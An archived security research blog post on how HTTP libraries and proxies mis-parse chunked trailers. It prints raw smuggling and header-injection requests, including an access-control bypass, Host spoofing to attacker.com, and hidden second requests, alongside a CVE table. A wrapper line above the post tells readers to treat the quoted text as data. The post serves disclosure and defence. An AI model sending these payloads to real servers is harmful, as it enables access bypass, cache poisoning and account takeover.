Trailing Danger: exploring HTTP Trailer parsing discrepancies

Trailing Danger: exploring HTTP Trailer parsing discrepancies - Sebastiano Sartor, Sebastiano Sartor - sebsrt, @s3bsrt, sebsrt - Sebastiano Sartor.

- Published: 2026-08-09
- Original: <https://www.sebsrt.xyz/blog/trailing-danger/>
- Preserved from: https://www.sebsrt.xyz/blog/trailing-danger/ (browser) on 2026-08-09
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Trailing Danger: exploring HTTP Trailer parsing discrepancies

With the introduction of chunked transfer encoding in HTTP/1.1, agents gained the ability to send additional headers after the request body, known as trailers or trailer fields. Although rarely used in modern applications, these are defined in the standard and handled inconsistently across HTTP implementations.

This post explores the security implications of improper trailer parsing by systematically analyzing how a wide range of open-source HTTP libraries, servers, and proxies parse and process them.

The inspiration for this research came from a curious allowance in RFC 9112: the merging of trailer fields into the main header section under certain circumstances. What began as a technical curiosity quickly escalated into an in-depth investigation of parsing discrepancies, ultimately revealing an overlooked attack surface and novel smuggling techniques.

Contents

- Host header spoofing
- Upstream components
- Attack flow
- Trailer Merge (TR.MRG) HTTP Request Smuggling
- TR.MRG in lighttpd1.4
- Connection header parsing bug
- Trailer parsing discrepancies
- Unparsed Trailers
- Early parsing termination
- Hide-Merge-Smuggle
- Findings
- Tool
- Resources
- Conclusion

Trailers

HTTP trailers are extra header fields transmitted after the body in chunked transfer encoding in HTTP/1.1, or as a trailing `HEADERS` frame sent after the final `DATA` frame on the same stream in HTTP/2 and HTTP/3. They allow metadata that is available only after the body has been generated, such as checksums, digital signatures, or post-processing results, to be sent without buffering the entire payload in memory.

In HTTP/1.1, trailers can be sent only in chunked encoded requests and responses. The complete format consists of:

```
REQUEST LINE + HEADERS

POST / HTTP/1.1\r\n

Host: localhost\r\n

Transfer-Encoding: chunked\r\n

Trailer: trailing, digest\r\n

\r\n

CHUNKED BODY

4\r\n

body\r\n

ZERO-SIZE CHUNK (END OF BODY)

0\r\n

TRAILERS SECTION

Trailing: field\r\n

Digest: SHA-256=sha256trailervalue\r\n

REQUEST TERMINATOR

\r\n
```

The zero-size chunk (`0\r\n`) signals the end of the body, **after which trailer headers appear**, terminated by a blank line.

The `Trailer` header provides a list of field names that the sender anticipates sending as trailer fields. A sender that intends to generate trailer fields **should** include `Trailer` in the header section, but the list is only a hint and there is no guarantee that the named fields will be present. In practice, many implementations parse and accept trailer fields even when `Trailer` is absent.

HTTP/2 completely removed the need for chunked transfer encoding by supporting trailers natively through `HEADERS` frames. In both HTTP/2 and HTTP/3, trailers are sent as a final `HEADERS` frame with the `END_STREAM` flag set.

Although HTTP trailers are formally defined in the specifications, they are rarely used in practice. One exception is gRPC, which leverages trailers to convey call status codes and optional messages. In practice, many intermediaries discard or ignore trailers, but some well-known implementations, such as HAProxy and Envoy, forward them by default across all protocol versions.

According to RFC 9112 §7.1.2, recipients may selectively retain or discard trailer fields. The same section, however, permits implementations to **merge** trailer fields into the header section:

>

A recipient that removes the chunked coding from a message MAY selectively retain or discard the received trailer fields. A recipient that retains a received trailer field MUST either store/forward the trailer field separately from the received header fields **or merge** the received trailer field **into the header section**.

And it explicitly warns against unsafe merging:

>

A recipient MUST NOT merge a received trailer field into the header section unless its corresponding header field definition explicitly permits and instructs how the trailer field value can be safely merged.

Intuitively, fields like `Digest` can be safely merged, since they are designed to be computed after the body and do not affect routing or request delimitation. In contrast, merging stateful or security-sensitive fields such as `Host`, `Content-Length`, or authentication-related headers can fundamentally change how downstream components interpret the message. RFC 9110 notes that many fields cannot be processed outside the header section because their evaluation is necessary prior to receiving the content, such as those that describe message framing, routing, authentication, request modifiers, response controls, or content format.

During this research, several HTTP implementations were audited to evaluate how they handle trailer fields, specifically what occurs when the "safe merging" requirement is ignored or misimplemented.

Header smuggling exploits inconsistencies between two HTTP parsers to inject or conceal headers. Improper **trailer merging** introduces a variant of **HTTP Header Smuggling**, where header fields originating from the request trailer section are merged into the headers, causing downstream components to interpret and act on attacker-controlled headers that were never visible to the initial request parser.

This discrepancy can be used to **inject, override**, or modify headers and effectively smuggle attacker-controlled data past intermediary layers that believed the header section was already finalized.

The attack can have a different impact, depending on which component merged trailers. In this post, **upstream** and **downstream** are defined relative to the flow of a request from the client to the application:

- **Upstream**: components closer to the client (client-facing reverse proxies, and load balancers) that receive the request first and forward it.

- **Downstream**: components closer to the application logic (backend servers / origin services) that receive a request after one or more intermediaries.

Downstream components

Downstream components are servers or applications positioned after intermediaries in the request processing chain. These are typically backend services that receive requests after they have passed through one or more intermediaries.

Unsafe merging at this level can cause trailer data to override or modify original request headers **before application-level processing**. This may allow attackers to:

- Bypass access control
- Inject unsafe inputs into backend logic that trusts request headers
- Poison caches: headers smuggled through trailers can poison cached responses under legitimate cache keys, causing the cache to serve malicious content to subsequent users requesting the same resource.

Attack flow

- The attacker sends an HTTP request that includes a trailer section containing 'malicious' header fields. For example, the trailers contain `Host: attacker.com` or `X-Forwarded-For: 127.0.0.1`.
- The proxy parses and validates headers, then forwards the request, including trailers.
- The **backend** receives and parses the request, then **merges trailers into the headers**.
- Smuggled headers are used in the application logic. `Host` or `X-Forwarded-For` have been **modified or injected** by trailers during the parsing. These values were **never visible** to the proxy during its initial validation, but the backend/application trusts them when making authorization or logic decisions.

Examples

Access control bypass

Consider the following example application that trusts the `x-forwarded-for` header to make authorization decisions:

```
func handle_request(w http.ResponseWriter, req *http.Request) {
  ip := req.Header.Get("x-forwarded-for")
  if ip == "127.0.0.1" {
    fmt.Fprintf(w, "You are localhost!")
  } else {
    http.Error(w, "Forbidden", http.StatusForbidden)
    return
  }
}
```

The application is deployed behind HAProxy with a configuration that forbids requests that have the header `x-forwarded-for`:

```
http-request deny if { req.fhdr(x-forwarded-for) -m found }
```

Example request and response:

```
REQUEST

GET / HTTP/1.1\r\n

Host: localhost\r\n

x-forwarded-for: 127.0.0.1\r\n

\r\n
```

```
RESPONSE

HTTP/1.1 403 Forbidden\r\n

content-length: 93\r\n

cache-control: no-cache\r\n

content-type: text/html\r\n

\r\n

<html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>
```

The backend application **merges** trailer fields into the headers **before the application-level processing**, while HAProxy only inspects the initial header section. Consequently, the ACL can be bypassed with the following simple request:

```
REQUEST

GET / HTTP/1.1\r\n

Host: localhost\r\n

transfer-encoding: chunked\r\n

\r\n

0\r\n

TRAILER

x-forwarded-for: 127.0.0.1\r\n

\r\n
```

```
RESPONSE

HTTP/1.1 200 OK\r\n

server: fasthttp\r\n

date: Mon, 27 Oct 2025 00:22:27 GMT\r\n

content-type: text/plain; charset=utf-8\r\n

content-length: 18\r\n

\r\n

You are localhost!
```

Host header spoofing can occur when the `host` header in the trailers section **overrides** the value of the request headers after the trailers are merged.

For example, imagine a web application that constructs a password reset link using the Host header value:

```
reset_link = "https://#{host}/password/update?token=#{token}"
```

In this scenario, the application sits behind a proxy that uses virtual hosting to allow only requests with an expected Host header value. If an incoming request contains a Host header that doesn't match the allowed value, the proxy simply returns a 404 response. This setup **typically prevents** attackers from specifying arbitrary Host headers in their requests, thereby preventing host header spoofing attacks.

However, if the backend server merges headers from the trailers section, an attacker can bypass the vhost check by including a `host: attacker.com` header **in the trailers**. The backend then uses this attacker-supplied value when generating password reset links, allowing the attacker to send malicious links to victims, such as `https://attacker.com/password/update?token=#{token}`, possibly leading to account takeover.

Theoretical attack - Response header injection via trailer merge

Some implementations merge response trailers to make them directly available to clients. Conceptually, this could allow response header injection if an attacker can influence response trailers.

Upstream components

When trailer merging occurs upstream, the impact can be more severe, as attackers may also be able to manipulate request boundaries by smuggling `Content-Length` or `Transfer-Encoding` headers.

Attack flow

- The attacker sends a request with a trailer section containing `Content-Length: 0`.
- The front-end proxy receives the request and parses the header section. It uses those headers for request delimitation, routing, authorization, and caching decisions.
- The proxy later parses trailers and **unsafely merges** them into the headers. Values already parsed are **overwritten** or modified, creating a **state mismatch** between what the proxy decided and what it forwards.
- The proxy forwards the request to the backend with the merged headers.
- The backend receives the forwarded request with the attacker-supplied `Content-Length: 0` and treats the remaining bytes on the connection as belonging to subsequent requests, potentially enabling request smuggling.

Trailer Merge (TR.MRG) HTTP Request Smuggling

Intermediaries may merge trailers for compatibility reasons, as stated in RFC 9110 §6.5.1:

>

Trailer fields can be difficult to process by intermediaries that forward messages from one protocol version to another. If the entire message can be buffered in transit, some intermediaries could merge trailer fields into the header section (as appropriate) before it is forwarded.

Trailer Merge (TR.MRG) HTTP Request Smuggling occurs when intermediaries unsafely merge trailers, allowing the override or injection of headers such as `content-length` or `transfer-encoding` **after initial parsing**. This alters downstream request boundaries, enabling injection of additional requests.

TR.MRG in lighttpd1.4

lighttpd1.4.80 merged trailers post-dechunking, **overriding** the `content-length` header before forwarding downstream:

Client request

```
POST / HTTP/1.1\r\n
Host: lighttpd\r\n
Transfer-Encoding: chunked\r\n
\r\n
BODY
5\r\n
test\r\n
0\r\n
TRAILER
Content-Length: 0\r\n
\r\n
```

Lighttpd forwards downstream

```
POST / HTTP/1.1\r\n
Host: lighttpd\r\n
Content-Length: 0\r\n
Connection: close\r\n
\r\n
test
```

Unfortunately (or fortunately), this issue is not directly exploitable for smuggling requests on its own, as it adds a `connection: close` header that blocks the parsing of subsequent requests.

To make the bug exploitable for Request Smuggling, another parsing bug has to be exploited:

Many web servers (about 30% of those tested) only close a connection when they see the literal header `connection: close`.

However, RFC 9110 allows the `connection` header to carry multiple, comma-separated options, which must be parsed as independent tokens.

If the token `close` appears anywhere in that list, the connection **must not persist** (see RFC 9112).

When lighttpd encounters the `TE` or `Upgrade` header, it returns an "ambiguous" `Connection` header with multiple tokens (e.g., `connection: close, te`). If the subsequent server has a flawed connection header parser, the proxy's connection header **won't be interpreted as `close`**, leaving the connection open and **enabling request smuggling**.

Full example:

Client request

```
REQUEST HEADERS

POST / HTTP/1.1\r\n

Host: lighttpd\r\n

Transfer-Encoding: chunked\r\n

\r\n

REQUEST BODY

4c\r\n

POST /debug HTTP/1.1\r\n

Host: localhost\r\n

Content-Length: 15\r\n

\r\n

dangerous-input\r\n

0\r\n

TRAILERS

Content-Length: 0\r\n

TE: trailers\r\n

\r\n
```

Lighttpd forwards downstream

```
FIRST REQUEST

POST / HTTP/1.1\r\n

Host: lighttpd\r\n

Content-Length: 0\r\n

Connection: close, te\r\n

\r\n

SECOND REQUEST

POST /debug HTTP/1.1\r\n

Host: localhost\r\n

Content-Length: 15\r\n

\r\n

dangerous-input
```

In other words, the client sends a single HTTP request to lighttpd, but the downstream server interprets two separate requests on the same connection, with attacker-controlled content in the second one.

Trailer parsing discrepancies

Beyond trailer merging, other parsing discrepancies can arise in how trailers are parsed.

In most implementations, trailer fields are subject to the same validation checks as ordinary headers, but there are exceptions where trailer parsing can differ from that of the headers. Certain proxies, such as Apache Traffic Server and Pound, do not correctly validate trailers. This allows attackers to craft malformed trailers that can smuggle additional, hidden HTTP requests into the trailers section.

Unparsed Trailers

Eventlet, after reading the chunked body of an HTTP request, completely skipped trailer parsing, only reading the line following the last chunk:

```
if self.chunk_length == 0: # end of chunked body
  rfile.readline() # read the next line without parsing trailers
```

This can create a parsing discrepancy where the front-end server sees only one request with trailers, while eventlet effectively parses two requests on the same connection:

Proxy

```
FIRST REQUEST

POST / HTTP/1.1\r\n

Host: localhost\r\n

Transfer-Encoding: chunked\r\n

\r\n

0\r\n

TRAILERS

any: value\r\n

GET /smuggled?: HTTP/1.1\r\n

Host: localhost\r\n

\r\n
```

Eventlet

```
FIRST REQUEST

POST / HTTP/1.1\r\n

Host: localhost\r\n

Transfer-Encoding: chunked\r\n

\r\n

0\r\n

READ BY READLINE()

any: value\r\n

SECOND REQUEST

GET /smuggled?: HTTP/1.1\r\n

Host: localhost\r\n

\r\n
```

Early parsing termination

A bug in http4s caused the trailer parsing to terminate prematurely. The parser would stop if it encountered a line without a colon, failing to wait for the blank line that officially marks the end of the trailer section and the request.

```
while (!complete && idx <= upperBound) {
  if (!state) {
    val current = message(idx)
    if (current == colon) {
      state = true // set state to check for header value
      // ...
    } else if (current == lf && (idx > 0 && message(idx - 1) == cr)) { // bug: terminates the parsing without waiting for the bl
      complete = true // parsing completed terminate loop
    }
  } else {
    // parse header value
  }
}
```

Consequently, the following request was interpreted as two different ones:

Proxy

```
FIRST REQUEST

POST / HTTP/1.1\r\n

Host: localhost\r\n

Transfer-Encoding: chunked\r\n

\r\n

0\r\n

TRAILERS

Test: smuggling\r\n

a\r\n

GET /smuggled HTTP/1.1\r\n

Host: localhost\r\n

\r\n
```

http4s

```
FIRST REQUEST

POST / HTTP/1.1\r\n

Host: localhost\r\n

Transfer-Encoding: chunked\r\n

\r\n

0\r\n

Test: smuggling\r\n

EARLY TERMINATES PARSING

a\r\n

SECOND REQUEST

GET /smuggled HTTP/1.1\r\n

Host: localhost\r\n

\r\n
```

Hide-Merge-Smuggle

The following technique exploits a parsing ambiguity that causes parsers to misinterpret the boundaries between separate HTTP requests. It requires two requests: the first one has a trailer section with an invalid header that lacks a colon, while the second one 'hides' another request in its body:

```
FIRST REQUEST

POST / HTTP/1.1\r\n

Host: localhost\r\n

Connection: keep-alive\r\n

Transfer-Encoding: chunked\r\n

\r\n

2\r\n

aa\r\n

0\r\n

trailer: any\r\n

a\r\n

\r\n

SECOND REQUEST

POST / HTTP/1.1\r\n

Host: localhost\r\n

Connection: keep-alive\r\n

Content-Length: 41\r\n

\r\n

GET /smuggled HTTP/1.1\r\n

Host: localhost\r\n

\r\n
```

The parser has a bug that allows any character, including `\r\n`, in header names; it parses the header name until a colon is found.

```
parseHeaderName(...) {
  while (offset < limit) {
    byte b = input.get(offset);
    if (b == Constants.COLON) {
      // Found colon - accept everything before it as header name
      parsingState.headerValueStorage = mimeHeaders.addValue(input, start, offset - start);
      return 0;
    }
    // ...
    offset++;
  }
}
```

This flaw causes it to misinterpret the boundaries between separate HTTP requests.

The second request is mistakenly processed as if it were just another trailer field of the first, effectively merging the two requests. The sequence `a\r\nPOST / HTTP/1.1\r\n...` is treated as part of a header name until the colon is encountered, hiding the beginning of the second request inside the trailers. Then the second request's body is 'revealed' and treated as a separate request.

proxy

```
FIRST REQUEST

POST / HTTP/1.1\r\n

Host: localhost\r\n

Connection: keep-alive\r\n

Transfer-Encoding: chunked\r\n

\r\n

2\r\n

aa\r\n

0\r\n

TRAILERS

trailer: any\r\n

a\r\n

\r\n

SECOND REQUEST

POST / HTTP/1.1\r\n

Host: localhost\r\n

Connection: keep-alive\r\n

Content-Length: 41\r\n

\r\n

GET /smuggled HTTP/1.1\r\n

Host: localhost\r\n
```

```
\r\n
```

webserver

```
FIRST REQUEST

POST / HTTP/1.1\r\n

Host: localhost\r\n

Connection: keep-alive\r\n

Transfer-Encoding: chunked\r\n

\r\n

2\r\n

aa\r\n

0\r\n

TRAILERS

trailer: any\r\n

a\r\nPOST / HTTP/1.1\r\nHost: localhost\r\n

Connection: keep-alive\r\n

Content-Length: 41\r\n

\r\n

SECOND REQUEST

GET /smuggled HTTP/1.1\r\n

Host: localhost\r\n

\r\n
```

This technique can have different variations. Puma allowed `\n` in trailer header values. Consequently, if an intermediary treats `\n\n` as a valid **request terminator** (instead of requiring `\r\n\r\n`), and does not normalize line endings when forwarding downstream, the discrepancy can be exploited to merge and split the requests in the following way:

proxy

```
FIRST REQUEST

GET / HTTP/1.1\r\n

Host: localhost\r\n

Transfer-Encoding: chunked\r\n

\r\n

2\r\n

aa\r\n

0\r\n

TRAILERS

x: x\n

\n

SECOND REQUEST

POST /x HTTP/1.1\r\n

Host: localhost\r\n

Content-Length: 45\r\n

\r\n

GET /smuggled HTTP/1.1\r\n

Host: localhost\r\n

\r\n
```

Puma

```
FIRST REQUEST

GET / HTTP/1.1\r\n

Host: localhost\r\n

Transfer-Encoding: chunked\r\n

\r\n

2\r\n

aa\r\n

0\r\n

TRAILERS

x: x\n\nPOST /x HTTP/1.1\r\n

Host: localhost\r\n

Content-Length: 45\r\n

\r\n

SECOND REQUEST

GET /smuggled HTTP/1.1\r\n

Host: localhost\r\n

\r\n
```

However, Puma has a very short read timeout, so the proxy must send both requests nearly simultaneously over the same connection to make this bug exploitable.

Findings

Around 70 open-source implementations were tested using http-garden. Here's a summary of the findings:

| Project | Issue | Patch/CVE | | | fasthttp | header smuggling | partially patched | | | lighttpd1.4 | header smuggling | CVE-2025-12642 | | | cpp-httplib | header smuggling | CVE-2025-53628 | |

| boostorg/beast | header smuggling | patch | | | http4s | request smuggling due to early parsing termination | CVE-2025-58068 | | | eventlet | request smuggling due to unparsed trailers | CVE-2025-59822 | | | libevent | header smuggling | CVE-2026-63379 | | | eclipse glassfish | request smuggling due to flawed trailers parsing | CVE-2026-12606 | | | falcon | header smuggling | pending | | | cheroot | request smuggling due to unparsed trailers | pending | | | rubygems/protocol-http1 | header smuggling | won't fix | | | PHP Built-in Server | header smuggling | - | | | Yahns proxy and server | header smuggling | - | |

Tool

Most HTTP clients do not support trailers, making it challenging to experiment with trailer-based attacks. To address this gap, I developed **riphttp**, a tool that allows sending requests with trailers across all HTTP versions.

In addition, I created **riphttplib**, a library purpose-built for protocol security testing. The library provides non-RFC-compliant HTTP abstractions that allow crafting malformed requests and APIs for connection management and low-level framing.

Resources

- Vulnerable apps: Trailer-Merge-Lab.
- TR.MRG CTF challenge: TrailingDanger.
- More trailer parsing discrepancies https://w4ke.info/2025/10/29/funky-chunks-2

Conclusion

Through a systematic analysis of HTTP open-source implementations, I have shown that even minor discrepancies in trailer parsing can introduce vulnerabilities. This work underscores that legacy protocol features, often considered harmless or irrelevant, may still harbor unexpected risks due to ambiguous handling and inconsistent implementation.
